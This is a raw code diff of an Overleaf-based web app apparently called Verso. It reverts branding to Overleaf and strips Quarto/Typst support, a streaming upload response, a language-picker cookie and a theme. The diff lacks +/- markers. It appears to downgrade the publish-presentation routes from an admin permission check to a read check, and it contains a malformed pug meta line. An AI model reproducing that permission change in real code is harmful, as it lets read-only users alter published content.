templates.gitTokenExpired = NoCTAEmailTemplate({
subject() {
return `Your ${settings.appName} token has expired`
return 'Your Overleaf token has expired'
},
title() {
return 'Token expired'
@@ -884,7 +897,7 @@ templates.gitTokenExpired = NoCTAEmailTemplate({
`If you haven't already, you'll need to generate a new token in your ${settingsLink}.`,
`Take a look at ${docsLink} if you need more help.`,
'All the best,',
`The ${settings.appName} Team`,
'Team Overleaf',
]
},
})
@@ -1027,7 +1040,7 @@ templates.removeGroupMember = NoCTAEmailTemplate({
templates.taxExemptCertificateRequired = NoCTAEmailTemplate({
subject(opts) {
return `Action required: Tax exemption verification for ${settings.appName} [${opts.ein}]`
return `Action required: Tax exemption verification for Overleaf [${opts.ein}]`
},
title() {
return 'Action required: Tax exemption verification'
@@ -1047,7 +1060,7 @@ templates.taxExemptCertificateRequired = NoCTAEmailTemplate({
'If you have any questions, let us know by replying to this email.',
'<br/>',
'Best wishes,',
`The ${settings.appName} Team`,
'Team Overleaf',
'<br/>',
`Our reference: ${opts.stripeCustomerId}`,
]
@@ -1056,17 +1069,17 @@ templates.taxExemptCertificateRequired = NoCTAEmailTemplate({
templates.groupMemberLimitWarning = ctaTemplate({
subject(opts) {
return `Action needed: Your ${settings.appName} group is nearly out of licenses`
return `Action needed: Your Overleaf group is nearly out of licenses`
},
title(opts) {
return `Action needed: Your ${settings.appName} group is nearly out of licenses`
return `Action needed: Your Overleaf group is nearly out of licenses`
},
greeting(opts) {
return opts.firstName ? `Hi ${opts.firstName},` : 'Hi there,'
},
message(opts) {
return [
`Your ${settings.appName} group <b>${opts.groupName}</b> is close to its license limit.`,
`Your Overleaf group <b>${opts.groupName}</b> is close to its license limit.`,
`<b>${opts.currentMembers} of ${opts.membersLimit} licenses are in use (${opts.remainingSeats} remaining).</b>`,
'Because domain capture is enabled, users from your domain can join automatically via SSO.' +
'<br/>' +
@@ -60,8 +60,8 @@ export default _.template(`\
.email-layout-table { border-collapse: collapse !important; }
a[x-apple-data-detectors] { color: inherit !important; text-decoration: none !important; }
.force-verso-style a,
.force-verso-style a[href] {
.force-overleaf-style a,
.force-overleaf-style a[href] {
color: ${colors.linkGreen} !important;
text-decoration: underline !important;
-moz-hyphens: none;
@@ -69,10 +69,10 @@ export default _.template(`\
-webkit-hyphens: none;
hyphens: none;
}
.force-verso-style a:visited,
.force-verso-style a[href]:visited { color: ${colors.linkGreen}; }
.force-verso-style a:hover,
.force-verso-style a[href]:hover { color: ${colors.linkHover}; }
.force-overleaf-style a:visited,
.force-overleaf-style a[href]:visited { color: ${colors.linkGreen}; }
.force-overleaf-style a:hover,
.force-overleaf-style a[href]:hover { color: ${colors.linkHover}; }
@media only screen and (min-width: 621px) {
.email-card-inner { padding: 56px !important; }
@@ -149,7 +149,7 @@ export default _.template(`\
<% if (footerMessage) { %>
<tr>
<td align="center" class="force-verso-style" style="padding: 0 0 32px 0; font-family: ${fontFamily}; font-size: 14px; color: ${colors.textMuted}; line-height: 20px;">
<td align="center" class="force-overleaf-style" style="padding: 0 0 32px 0; font-family: ${fontFamily}; font-size: 14px; color: ${colors.textMuted}; line-height: 20px;">
<%= footerMessage %>
</td>
</tr>
@@ -4,9 +4,9 @@ export const colors = {
textDark: '#1b222c',
textMuted: '#495365',
background: '#f4f5f6',
ctaGreen: '#2a9d8f',
ctaGreen: '#098842',
ctaText: '#ffffff',
linkGreen: '#1d7a6e',
linkHover: '#155e55',
logoGreen: '#2a9d8f',
linkGreen: '#1e6b41',
linkHover: '#155a30',
logoGreen: '#04652f',
}
@@ -1364,7 +1364,6 @@ const _ProjectController = {
function getInitialLoadingScreenTheme(overallThemeSetting) {
switch (overallThemeSetting) {
case 'light-':
case 'lumiere-':
return 'light'
case '':
return 'dark'
@@ -681,7 +681,7 @@ async function _getProjects(
const results = await Promise.all([
ProjectGetter.promises.findAllUsersProjects(
userId,
'name lastUpdated lastUpdatedBy publicAccesLevel archived trashed owner_ref tokens compiler quartoFlavor'
'name lastUpdated lastUpdatedBy publicAccesLevel archived trashed owner_ref tokens compiler'
),
TagsHandler.promises.getAllTags(userId),
])
@@ -826,7 +826,6 @@ function _formatProjectInfo(project, accessLevel, source, userId) {
archived,
trashed,
compiler: project.compiler,
quartoFlavor: project.quartoFlavor,
}
}
@@ -881,7 +880,6 @@ async function _injectProjectUsers(projects) {
: users[project.owner_ref.toString()],
owner_ref: undefined,
compiler: project.compiler,
quartoFlavor: project.quartoFlavor,
}))
}
@@ -51,20 +51,24 @@ async function setRootDocAutomatically(projectId) {
}
async function findRootDocFileFromDirectory(directoryPath) {
// First try LaTeX files (look for \documentclass)
const unsortedTexFiles = await globby(['**/*.{tex,Rtex,Rnw,ltx}'], {
const unsortedFiles = await globby(['**/*.{tex,Rtex,Rnw}'], {
cwd: directoryPath,
followSymlinkedDirectories: false,
onlyFiles: true,
case: false,
})
const texFiles = await _sortFileList(unsortedTexFiles, directoryPath)
let firstTexInRootFolder
// the search order is such that we prefer files closer to the project root, then
// we go by file size in ascending order, because people often have a main
// file that just includes a bunch of other files; then we go by name, in
// order to be deterministic
const files = await _sortFileList(unsortedFiles, directoryPath)
let firstFileInRootFolder
let doc = null
while (texFiles.length > 0 && doc == null) {
const file = texFiles.shift()
while (files.length > 0 && doc == null) {
const file = files.shift()
const content = await fs.promises.readFile(
Path.join(directoryPath, file),
'utf8'
@@ -73,52 +77,18 @@ async function findRootDocFileFromDirectory(directoryPath) {
if (DocumentHelper.contentHasDocumentclass(normalizedContent)) {
doc = { path: file, content: normalizedContent }
}
if (!firstTexInRootFolder && !file.includes('/')) {
firstTexInRootFolder = { path: file, content: normalizedContent }
if (!firstFileInRootFolder && !file.includes('/')) {
firstFileInRootFolder = { path: file, content: normalizedContent }
}
}
if (!doc && firstTexInRootFolder) {
doc = firstTexInRootFolder
// if no doc was found, use the first file in the root folder as the main doc
if (!doc && firstFileInRootFolder) {
doc = firstFileInRootFolder
}
if (doc) return { path: doc.path, content: doc.content }
// Then try Typst files
const typFiles = await globby(['*.typ'], {
cwd: directoryPath,
followSymlinkedDirectories: false,
onlyFiles: true,
case: false,
})
if (typFiles.length > 0) {
typFiles.sort()
const file = typFiles[0]
const content = await fs.promises.readFile(
Path.join(directoryPath, file),
'utf8'
)
return { path: file, content }
}
// Then try Quarto/R Markdown files
const qmdFiles = await globby(['*.{qmd,Rmd,rmd}'], {
cwd: directoryPath,
followSymlinkedDirectories: false,
onlyFiles: true,
case: false,
})
if (qmdFiles.length > 0) {
qmdFiles.sort()
const file = qmdFiles[0]
const content = await fs.promises.readFile(
Path.join(directoryPath, file),
'utf8'
)
return { path: file, content }
}
return { path: undefined, content: undefined }
return { path: doc?.path, content: doc?.content }
}
async function setRootDocFromName(projectId, rootDocName) {
@@ -1,5 +1,4 @@
const SYSTEM_THEME_USER_CUTOFF_DATE = new Date(Date.UTC(2026, 2, 2, 12, 0, 0)) // 12pm GMT on March 2, 2026
const LUMIERE_THEME_USER_CUTOFF_DATE = new Date(Date.UTC(2026, 5, 11, 12, 0, 0)) // 12pm GMT on June 11, 2026
function getOverallTheme(user) {
if (user.ace.overallTheme != null) {
@@ -11,11 +10,7 @@ function getOverallTheme(user) {
return ''
}
if (user.signUpDate < LUMIERE_THEME_USER_CUTOFF_DATE) {
return 'system'
}
return 'lumiere-'
return 'system'
}
async function buildUserSettings(_req, _res, user) {
@@ -46,5 +41,4 @@ async function buildUserSettings(_req, _res, user) {
export default {
buildUserSettings,
getOverallTheme,
}
@@ -24,15 +24,6 @@ import AnalyticsManager from '../Analytics/AnalyticsManager.mjs'
const defaultsDeep = lodash.defaultsDeep
// Send a JSON response compatible with both normal mode and streaming mode
// (where startStreamingResponse already sent HTTP 200 + chunked headers).
function sendUploadResponse(res, statusCode, body) {
if (res.headersSent) {
return res.end(JSON.stringify(body))
}
return res.status(statusCode).json(body)
}
const upload = multer(
defaultsDeep(
{
@@ -101,7 +92,7 @@ async function uploadFile(req, res, next) {
await fsPromises.unlink(path).catch(unlinkErr => {
logger.warn({ err: unlinkErr, path }, 'error unlinking uploaded file')
})
return sendUploadResponse(res, 422, {
return res.status(422).json({
success: false,
error: 'invalid_filename',
})
@@ -128,7 +119,7 @@ async function uploadFile(req, res, next) {
await fsPromises.unlink(path).catch(unlinkErr => {
logger.warn({ err: unlinkErr, path }, 'error unlinking uploaded file')
})
return sendUploadResponse(res, 500, { success: false })
throw error
}
return FileSystemImportManager.addEntity(
@@ -143,22 +134,22 @@ async function uploadFile(req, res, next) {
timer.done()
if (error != null) {
if (error.name === 'InvalidNameError') {
return sendUploadResponse(res, 422, {
return res.status(422).json({
success: false,
error: 'invalid_filename',
})
} else if (error instanceof DuplicateNameError) {
return sendUploadResponse(res, 422, {
return res.status(422).json({
success: false,
error: 'duplicate_file_name',
})
} else if (error.message === 'project_has_too_many_files') {
return sendUploadResponse(res, 422, {
return res.status(422).json({
success: false,
error: 'project_has_too_many_files',
})
} else if (error.message === 'folder_not_found') {
return sendUploadResponse(res, 422, {
return res.status(422).json({
success: false,
error: 'folder_not_found',
})
@@ -173,10 +164,10 @@ async function uploadFile(req, res, next) {
},
'error uploading file'
)
return sendUploadResponse(res, 422, { success: false })
return res.status(422).json({ success: false })
}
} else {
return sendUploadResponse(res, 200, {
return res.json({
success: true,
entity_id: entity?._id,
entity_type: entity?.type,
@@ -196,7 +187,7 @@ async function importDocument(req, res, next) {
const userId = SessionManager.getLoggedInUserId(req.session)
const { path } = req.file
const conversionType = req.query.type
if (!['docx', 'markdown', 'typst'].includes(conversionType)) {
if (!['docx', 'markdown'].includes(conversionType)) {
return res.status(400).json({
success: false,
error: req.i18n.translate('invalid_import_type'),
@@ -282,28 +273,25 @@ async function importDocument(req, res, next) {
*/
function multerMiddleware(req, res, next) {
if (upload == null) {
return sendUploadResponse(res, 500, {
success: false,
error: req.i18n.translate('upload_failed'),
})
return res
.status(500)
.json({ success: false, error: req.i18n.translate('upload_failed') })
}
return upload.single('qqfile')(
req,
res,
/** @param {any} err */ function (err) {
if (err instanceof multer.MulterError && err.code === 'LIMIT_FILE_SIZE') {
return sendUploadResponse(res, 422, {
success: false,
error: req.i18n.translate('file_too_large'),
})
return res
.status(422)
.json({ success: false, error: req.i18n.translate('file_too_large') })
}
if (err) return next(err)
if (!req.file?.path) {
logger.info({ req }, 'missing req.file.path on upload')
return sendUploadResponse(res, 400, {
success: false,
error: 'invalid_upload_request',
})
return res
.status(400)
.json({ success: false, error: 'invalid_upload_request' })
}
next()
}
@@ -14,21 +14,10 @@ import ProjectRootDocManager from '../Project/ProjectRootDocManager.mjs'
import ProjectDetailsHandler from '../Project/ProjectDetailsHandler.mjs'
import ProjectDeleter from '../Project/ProjectDeleter.mjs'
import { DeletedProjectReasons } from '../Project/DeletedProjectReasons.mjs'
import ProjectOptionsHandler from '../Project/ProjectOptionsHandler.mjs'
import TpdsProjectFlusher from '../ThirdPartyDataStore/TpdsProjectFlusher.mjs'
import logger from '@overleaf/logger'
import OError from '@overleaf/o-error'
const COMPILER_BY_EXTENSION = {
tex: 'pdflatex',
rtex: 'pdflatex',
ltx: 'pdflatex',
rnw: 'pdflatex',
typ: 'typst',
qmd: 'quarto',
rmd: 'quarto',
}
export default {
createProjectFromZipArchive: callbackify(createProjectFromZipArchive),
createProjectFromZipArchiveWithName: callbackify(
@@ -63,11 +52,6 @@ async function createProjectFromZipArchive(ownerId, defaultName, zipPath) {
project._id,
path
)
const ext = path.split('.').pop()?.toLowerCase()
const compiler = ext ? COMPILER_BY_EXTENSION[ext] : null
if (compiler) {
await ProjectOptionsHandler.promises.setCompiler(project._id, compiler)
}
}
} catch (err) {
// no need to wait for the cleanup here
@@ -6,27 +6,6 @@ import RateLimiterMiddleware from '../Security/RateLimiterMiddleware.mjs'
import Settings from '@overleaf/settings'
import AsyncLocalStorage from '../../infrastructure/AsyncLocalStorage.mjs'
// Sends HTTP 200 + first chunk immediately so upstream proxies (Traefik, cloud
// LBs) don't timeout waiting for the first response byte during large uploads.
// Must come *after* auth/rate-limit middleware (those still return proper codes)
// but *before* multer so it fires while the request body is still streaming in.
// The upload handler ends the response with the actual JSON result as the final
// chunk; the client's getResponseData trims leading whitespace before parsing.
function startStreamingResponse(req, res, next) {
res.writeHead(200, {
'Content-Type': 'application/json',
'Transfer-Encoding': 'chunked',
'X-Accel-Buffering': 'no',
})
res.write('\n')
const heartbeat = setInterval(() => {
if (!res.writableEnded) res.write('\n')
}, 30000)
res.on('finish', () => clearInterval(heartbeat))
res.on('close', () => clearInterval(heartbeat))
next()
}
const rateLimiters = {
projectUpload: new RateLimiter('project-upload', {
points: 20,
@@ -83,7 +62,6 @@ export default {
fileUploadRateLimit,
AsyncLocalStorage.middleware,
AuthorizationMiddleware.ensureUserCanWriteProjectContent,
startStreamingResponse,
ProjectUploadController.multerMiddleware,
ProjectUploadController.uploadFile
)
@@ -94,7 +72,6 @@ export default {
AuthenticationController.requireLogin(),
AsyncLocalStorage.middleware,
AuthorizationMiddleware.ensureUserCanWriteProjectContent,
startStreamingResponse,
ProjectUploadController.multerMiddleware,
ProjectUploadController.uploadFile
)
@@ -1,5 +1,3 @@
import Settings from '@overleaf/settings'
import Translations from '../../infrastructure/Translations.mjs'
import UserHandler from './UserHandler.mjs'
import UserDeleter from './UserDeleter.mjs'
import UserGetter from './UserGetter.mjs'
@@ -564,30 +562,6 @@ async function expireDeletedUsersAfterDuration(req, res, next) {
res.sendStatus(204)
}
async function setLanguage(req, res) {
const lngCode = req.body.lngCode ?? req.query.lng
if (!Translations.availableLanguageCodes.includes(lngCode)) {
return res.status(400).end()
}
res.cookie(Translations.LANG_COOKIE_NAME, lngCode, {
maxAge: 365 * 24 * 60 * 60 * 1000,
httpOnly: true,
secure: Settings.secureCookie,
sameSite: 'Lax',
domain: Settings.cookieDomain,
})
const userId = SessionManager.getLoggedInUserId(req.session)
if (userId) {
await User.findByIdAndUpdate(userId, { languageCode: lngCode }).exec()
}
const returnTo = req.query.return_to
const redir =
typeof returnTo === 'string' && returnTo.startsWith('/')
? returnTo
: req.get('Referer') || '/project'
res.redirect(302, redir)
}
export default {
clearSessions: expressify(clearSessions),
changePassword: expressify(changePassword),
@@ -600,5 +574,4 @@ export default {
expireDeletedUsersAfterDuration: expressify(expireDeletedUsersAfterDuration),
ensureAffiliationMiddleware: expressify(ensureAffiliationMiddleware),
ensureAffiliation,
setLanguage: expressify(setLanguage),
}
+1 -1
View File
@@ -85,7 +85,7 @@ const buildViewPolicy = (
viewDirectives
) => {
const directives = [
`script-src 'nonce-${scriptNonce}' 'unsafe-inline' 'strict-dynamic' 'wasm-unsafe-eval' https: 'report-sample'`, // only allow scripts from certain sources
`script-src 'nonce-${scriptNonce}' 'unsafe-inline' 'strict-dynamic' https: 'report-sample'`, // only allow scripts from certain sources
`object-src 'none'`, // forbid loading an "object" element
`base-uri 'none'`, // forbid setting a "base" element
...(viewDirectives ?? []),
@@ -8,8 +8,6 @@ import { fetchJson } from '@overleaf/fetch-utils'
import contentDisposition from 'content-disposition'
import Features from './Features.mjs'
import SessionManager from '../Features/Authentication/SessionManager.mjs'
import UserGetter from '../Features/User/UserGetter.mjs'
import UserSettingsHelper from '../Features/Project/UserSettingsHelper.mjs'
import PackageVersions from './PackageVersions.js'
import Modules from './Modules.mjs'
import Errors from '../Features/Errors/Errors.js'
@@ -17,7 +15,6 @@ import AdminAuthorizationHelper from '../Features/Helpers/AdminAuthorizationHelp
import { addOptionalCleanupHandlerAfterDrainingConnections } from './GracefulShutdown.mjs'
import { sanitizeSessionUserForFrontEnd } from './FrontEndUser.mjs'
import { expressify } from '@overleaf/promise-utils'
import Translations from './Translations.mjs'
const {
canRedirectToAdminDomain,
@@ -272,28 +269,6 @@ export default async function (webRouter, privateApiRouter, publicApiRouter) {
next()
})
webRouter.use(
expressify(async function (req, res, next) {
res.locals.isLumiere = false
const sessionUser = SessionManager.getSessionUser(req.session)
if (sessionUser?._id) {
try {
const user = await UserGetter.promises.getUser(sessionUser._id, {
'ace.overallTheme': 1,
signUpDate: 1,
})
if (user) {
res.locals.isLumiere =
UserSettingsHelper.getOverallTheme(user) === 'lumiere-'
}
} catch (err) {
logger.warn({ err }, 'failed to fetch theme for isLumiere')
}
}
next()
})
)
webRouter.use(function (req, res, next) {
res.locals.getLoggedInUserId = () =>
SessionManager.getLoggedInUserId(req.session)
@@ -332,15 +307,11 @@ export default async function (webRouter, privateApiRouter, publicApiRouter) {
webRouter.use(function (req, res, next) {
res.locals.overallThemes = [
{
name: 'Verso Lumière',
val: 'lumiere-',
},
{
name: 'Classic Dark',
name: 'Dark',
val: '',
},
{
name: 'Classic Light',
name: 'Light',
val: 'light-',
},
{
@@ -353,7 +324,6 @@ export default async function (webRouter, privateApiRouter, publicApiRouter) {
webRouter.use(function (req, res, next) {
res.locals.settings = Settings
res.locals.availableLanguages = Translations.availableLanguageCodes
next()
})
@@ -348,7 +348,6 @@ if (Settings.csp && Settings.csp.enabled) {
logger.debug('creating HTTP server'.yellow)
const server = http.createServer(app)
server.requestTimeout = 15 * 60 * 1000
// provide settings for separate web and api processes
if (Settings.enabledServices.includes('api')) {
@@ -44,8 +44,6 @@ const locales = {
'zh-CN': zhCN,
}
const LANG_COOKIE_NAME = 'verso-lang'
const fallbackLanguageCode = Settings.i18n.defaultLng || 'en'
const availableLanguageCodes = []
const availableHosts = new Map()
@@ -64,20 +62,15 @@ Object.values(Settings.i18n.subdomainLang || {}).forEach(function (spec) {
subdomainConfigs.set(spec.lngCode, spec)
}
})
// Make all bundled locale files available regardless of subdomain config.
// This allows the cookie-based language picker to offer every loaded locale
// even when no subdomains are configured.
for (const lngCode of Object.keys(locales)) {
if (!availableLanguageCodes.includes(lngCode)) {
availableLanguageCodes.push(lngCode)
}
if (!availableLanguageCodes.includes(fallbackLanguageCode)) {
// always load the fallback locale
availableLanguageCodes.push(fallbackLanguageCode)
}
const resources = Object.fromEntries(
Object.entries(locales).map(([lngCode, translations]) => [
lngCode,
{ translation: translations },
])
Object.entries(locales)
.filter(([lngCode]) => availableLanguageCodes.includes(lngCode))
.map(([lngCode, translations]) => [lngCode, { translation: translations }])
)
i18n
@@ -114,13 +107,8 @@ i18n
})
function setLangBasedOnDomainMiddleware(req, res, next) {
// Priority: (1) user-set cookie, (2) subdomain, (3) env-var default
const cookieLng = req.cookies[LANG_COOKIE_NAME]
const hostLng = availableHosts.get(req.headers.host)
const lang =
(availableLanguageCodes.includes(cookieLng) ? cookieLng : null) ??
hostLng ??
fallbackLanguageCode
// Determine language from subdomain
const lang = availableHosts.get(req.headers.host) ?? fallbackLanguageCode
req.i18n = {
language: lang,
@@ -185,6 +173,4 @@ i18n.translate = i18n.t
export default {
setLangBasedOnDomainMiddleware,
i18n,
LANG_COOKIE_NAME,
availableLanguageCodes,
}
-1
View File
@@ -38,7 +38,6 @@ export const ProjectSchema = new Schema(
version: { type: Number }, // incremented for every change in the project structure (folders and filenames)
publicAccesLevel: { type: String, default: 'private' },
compiler: { type: String, default: settings.defaultLatexCompiler },
quartoFlavor: { type: String, enum: ['revealjs', 'pdf'] },
spellCheckLanguage: { type: String, default: 'en' },
deletedByExternalDataSource: { type: Boolean, default: false },
description: { type: String, default: '' },
-1
View File
@@ -52,7 +52,6 @@ export const UserSchema = new Schema(
},
role: { type: String, default: '' },
institution: { type: String, default: '' },
languageCode: { type: String, default: null },
hashedPassword: String,
enrollment: {
sso: [
+3 -23
View File
@@ -284,14 +284,6 @@ async function initialize(webRouter, privateApiRouter, publicApiRouter) {
'/read-only/one-time-login'
)
// Language preference — works for both anonymous (GET) and logged-in (POST)
webRouter.get('/set-language', UserController.setLanguage)
webRouter.post(
'/user/language',
AuthenticationController.requireLogin(),
UserController.setLanguage
)
webRouter.get('/logout', UserPagesController.logout)
webRouter.post('/logout', UserController.logout)
@@ -619,12 +611,6 @@ async function initialize(webRouter, privateApiRouter, publicApiRouter) {
CompileController.stopCompile
)
webRouter.get(
'/project/:Project_id/thumbnail',
AuthorizationMiddleware.ensureUserCanReadProject,
CompileController.getProjectThumbnail
)
webRouter.get(
'/project/:Project_id/output/cached/output.overleaf.json',
AsyncLocalStorage.middleware,
@@ -695,17 +681,17 @@ async function initialize(webRouter, privateApiRouter, publicApiRouter) {
)
webRouter.post(
'/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanAdminProject,
AuthorizationMiddleware.ensureUserCanReadProject,
PublishedPresentationController.publish
)
webRouter.post(
'/project/:Project_id/publish-presentation/regenerate',
AuthorizationMiddleware.ensureUserCanAdminProject,
AuthorizationMiddleware.ensureUserCanReadProject,
PublishedPresentationController.regenerate
)
webRouter.delete(
'/project/:Project_id/publish-presentation',
AuthorizationMiddleware.ensureUserCanAdminProject,
AuthorizationMiddleware.ensureUserCanReadProject,
PublishedPresentationController.unpublish
)
// On-demand export of a RevealJS deck (download menu): html | pdf.
@@ -836,12 +822,6 @@ async function initialize(webRouter, privateApiRouter, publicApiRouter) {
AuthorizationMiddleware.ensureUserCanReadProject,
ProjectDownloadsController.downloadPreparedProjectExport
)
webRouter.post(
'/project/:Project_id/doc/:Doc_id/convert/:type',
AuthenticationController.requireLogin(),
AuthorizationMiddleware.ensureUserCanWriteProjectContent,
ProjectDownloadsController.convertDocInProject
)
}
webRouter.get(
+9 -12
View File
@@ -42,9 +42,9 @@ else if settings.overleaf
meta(itemprop='image' content=buildImgPath('ol-brand/overleaf_og_logo.png'))
meta(name='image' content=buildImgPath('ol-brand/overleaf_og_logo.png'))
else
//- the default image for Verso Community Edition
meta(itemprop='image' content=buildBaseAssetPath() + 'og-image.png')
meta(name='image' content=buildBaseAssetPath() + 'og-image.png')
//- the default image for Overleaf Community Edition/Server Pro
meta(itemprop='image' content=buildBaseAssetPath() + 'apple-touch-icon.png')
meta(name='image' content=buildBaseAssetPath() + 'apple-touch-icon.png')
//- Keywords
if metadata && metadata.keywords
@@ -78,17 +78,14 @@ else if settings.overleaf
content=buildImgPath('ol-brand/overleaf_og_logo.png')
)
else
//- the default image for Verso Community Edition
//- the default image for Overleaf Community Edition/Server Pro
meta(
name='twitter:image'
content=buildBaseAssetPath() + 'og-image.png'
content=buildBaseAssetPath() + 'apple-touch-icon.png'
)
//- Open Graph
if metadata && metadata.canonicalURL
meta(property='og:url' content=metadata.canonicalURL)
else if typeof currentUrl !== 'undefined'
meta(property='og:url' content=settings.siteUrl + currentUrl)
//- to do - add og:url
if settings.social && settings.social.facebook && settings.social.facebook.appId
meta(property='fb:app_id' content=settings.social.facebook.appId)
@@ -107,14 +104,14 @@ else if settings.overleaf
content=buildImgPath('ol-brand/overleaf_og_logo.png')
)
else
//- the default image for Verso Community Edition
//- the default image for Overleaf Community Edition/Server Pro
meta(
property='og:image'
content=buildBaseAssetPath() + 'og-image.png'
content=buildBaseAssetPath() + 'apple-touch-icon.png'
)
if metadata && metadata.openGraphType
meta(property='og:type' content=metadata.openGraphType)
meta(property='og:type' metadata.openGraphType)
else
meta(property='og:type' content='website')
-1
View File
@@ -106,7 +106,6 @@ html(
'red-nav-bar-for-admins': !settings.isDevEnv && hasFeature('saas') && hasAdminAccess(),
}
data-theme='light'
data-lumiere=isLumiere ? 'true' : 'false'
)
if settings.recaptcha && settings.recaptcha.siteKeyV3
script(
-1
View File
@@ -49,7 +49,6 @@ block append meta
showPoweredBy: !hasFeature('saas') && !settings.nav.hide_powered_by,
subdomainLang: settings.i18n.subdomainLang,
translatedLanguages: settings.translatedLanguages,
availableLanguages: availableLanguages,
leftItems: cloneAndTranslateText(settings.nav.left_footer),
rightItems: settings.nav.right_footer,
}
@@ -1,43 +1,35 @@
li.language-picker
details.language-picker-details
summary#language-picker-toggle.btn-inline-link(
aria-label=translate('select_a_language')
translate='no'
)
span.material-symbols translate
| &nbsp;
span.language-picker-text= settings.translatedLanguages[currentLngCode] || currentLngCode
ul.dropdown-menu.dropdown-menu-sm-width(
role='menu'
aria-labelledby='language-picker-toggle'
translate='no'
)
each lngCode in availableLanguages
if settings.translatedLanguages[lngCode]
li(role='none')
a.dropdown-item(
role='menuitem'
href='/set-language?lng=' + encodeURIComponent(lngCode) + '&return_to=/'
data-lng=lngCode
class=lngCode === currentLngCode ? 'active' : ''
)= settings.translatedLanguages[lngCode]
script.
(function () {
var details = document.querySelector('.language-picker-details')
var menu = details && details.querySelector('.dropdown-menu')
if (!details || !menu) return
menu.querySelectorAll('a[data-lng]').forEach(function (a) {
var lng = a.getAttribute('data-lng')
a.href =
'/set-language?lng=' +
encodeURIComponent(lng) +
'&return_to=' +
encodeURIComponent(window.location.pathname)
})
document.addEventListener('click', function (e) {
if (!details.contains(e.target)) details.open = false
})
document.addEventListener('keydown', function (e) {
if (e.key === 'Escape') details.open = false
})
})()
include ../_mixins/material_symbol
li.dropdown.dropup.subdued.language-picker(dropdown)
button#language-picker-toggle.btn.btn-link.btn-inline-link(
dropdown-toggle
data-ol-lang-selector-tooltip
data-bs-toggle='dropdown'
aria-haspopup='true'
aria-expanded='false'
aria-label='Select ' + translate('language')
tooltip=translate('language')
title=translate('language')
)
+material-symbol('translate')
| &nbsp;
span.language-picker-text #{settings.translatedLanguages[currentLngCode]}
ul.dropdown-menu.dropdown-menu-sm-width(
role='menu'
aria-labelledby='language-picker-toggle'
)
li.dropdown-header #{translate("language")}
each subdomainDetails, subdomain in settings.i18n.subdomainLang
if !subdomainDetails.hide
- let isActive = subdomainDetails.lngCode === currentLngCode
li.lng-option
a.menu-indent(
href=subdomainDetails.url + currentUrlWithQueryParams
role='menuitem'
class=['dropdown-item', {active: isActive}]
aria-selected=isActive ? 'true' : 'false'
)
| #{settings.translatedLanguages[subdomainDetails.lngCode]}
if subdomainDetails.lngCode === currentLngCode
+material-symbol('check', 'dropdown-item-trailing-icon')
@@ -1,5 +1,5 @@
footer.site-footer
- var showLanguagePicker = availableLanguages.length > 1
- var showLanguagePicker = Object.keys(settings.i18n.subdomainLang).length > 1
- var hasCustomLeftNav = nav.left_footer && nav.left_footer.length > 0
.site-footer-content.hidden-print
.row
@@ -8,22 +8,22 @@ footer.site-footer
| © #{new Date().getFullYear()}
|
a(href='https://alocoq.fr' target='_blank' rel='noopener noreferrer') Aloïs Coquillard
li.footer-sep
li
strong.text-muted |
li
| !{translate('built_on')}
| Built on
|
a(href='https://github.com/overleaf/overleaf' target='_blank' rel='noopener noreferrer') Overleaf
if showLanguagePicker || hasCustomLeftNav
li.footer-sep
li
strong.text-muted |
if showLanguagePicker
include language-picker
if showLanguagePicker && hasCustomLeftNav
li.footer-sep
li
strong.text-muted |
each item in nav.left_footer
@@ -33,10 +33,10 @@ footer.site-footer
else
| !{item.text}
ul.site-footer-items.col-lg-3.text-lg-end
ul.site-footer-items.col-lg-3.text-end
li
a(href='https://git.alocoq.fr/alois/verso/src/branch/main/LICENSE' target='_blank' rel='noopener noreferrer') AGPL licence
li.footer-sep
li
strong.text-muted |
li
a(href='https://git.alocoq.fr/alois/verso' target='_blank' rel='noopener noreferrer') Source code
+4 -4
View File
@@ -5,18 +5,18 @@ block vars
- var suppressNavbar = true
block content
main#main-content.content.login-page
main#main-content.content
.container
.row
.col-12
.lumiere-logo-center.mb-4
.text-center.mb-4
img.verso-login-logo(
src=buildImgPath('ol-brand/verso-logo.svg')
alt='Verso'
style='width:100%;height:auto'
style='width:100%;max-width:480px;height:auto'
)
.row
.login-lumiere-card.col-lg-6.offset-lg-3.col-xl-4.offset-xl-4
.col-lg-6.offset-lg-3.col-xl-4.offset-xl-4
.page-header
if login_support_title
h1 !{login_support_title}
@@ -26,7 +26,7 @@ block content
main#main-content(data-ol-captcha-retry-trigger-area='')
a.auth-aux-logo(href='/')
img(src=buildImgPath('ol-brand/verso-square.svg') alt='Verso')
img(src=buildImgPath('ol-brand/overleaf-o-dark.svg') alt=settings.appName)
.auth-aux-container
form(
name='passwordResetForm'
@@ -6,10 +6,9 @@ block vars
block content
main#main-content
.auth-aux-container
img.d-block(
src=buildImgPath('ol-brand/verso-logo.svg')
alt='Verso'
style='height:36px;width:auto;margin-bottom:1.5rem'
img.w-50.d-block(
src=buildImgPath('ol-brand/overleaf.svg')
alt=settings.appName
)
h1.h3.mb-3 #{translate("keep_your_account_safe")}
div(data-ol-multi-submit)
+1 -1
View File
@@ -8,7 +8,7 @@ block vars
block content
main#main-content
a.auth-aux-logo(href='/')
img(src=buildImgPath('ol-brand/verso-square.svg') alt='Verso')
img(src=buildImgPath('ol-brand/overleaf-o-dark.svg') alt=settings.appName)
.auth-aux-container
form(
name='passwordResetForm'
@@ -77,8 +77,8 @@
"add_another_address_line": "",
"add_another_email": "",
"add_another_token": "",
"add_collaborators": "",
"add_comma_separated_emails_help": "",
"add_collaborators": "",
"add_comment": "",
"add_comment_error_message": "",
"add_comment_error_title": "",
@@ -117,7 +117,6 @@
"after_that_well_bill_you_x_total_y_subtotal_z_tax_annually_on_date_unless_you_cancel": "",
"aggregate_changed": "",
"aggregate_to": "",
"agpl_licence": "",
"agree": "",
"agree_with_the_terms": "",
"ai_assist_in_overleaf_is_included_via_writefull_groups": "",
@@ -229,7 +228,6 @@
"breadcrumbs": "",
"browser": "",
"build_collection_of_most_used_references": "",
"built_on": "",
"bullet_list": "",
"buy_licenses": "",
"buy_more_licenses": "",
@@ -387,8 +385,6 @@
"continue_using_free_features": "",
"continue_with_free_plan": "",
"conversion_error_details": "",
"convert_to_latex": "",
"convert_to_typst": "",
"cookie_banner": "",
"cookie_banner_info": "",
"copied": "",
@@ -475,8 +471,6 @@
"demonstrating_track_changes_feature": "",
"department": "",
"description": "",
"card_size": "",
"deselect_all": "",
"details": "",
"details_provided_by_google_explanation": "",
"dictionary": "",
@@ -671,9 +665,7 @@
"explore_plans": "",
"export_as_docx": "",
"export_as_html": "",
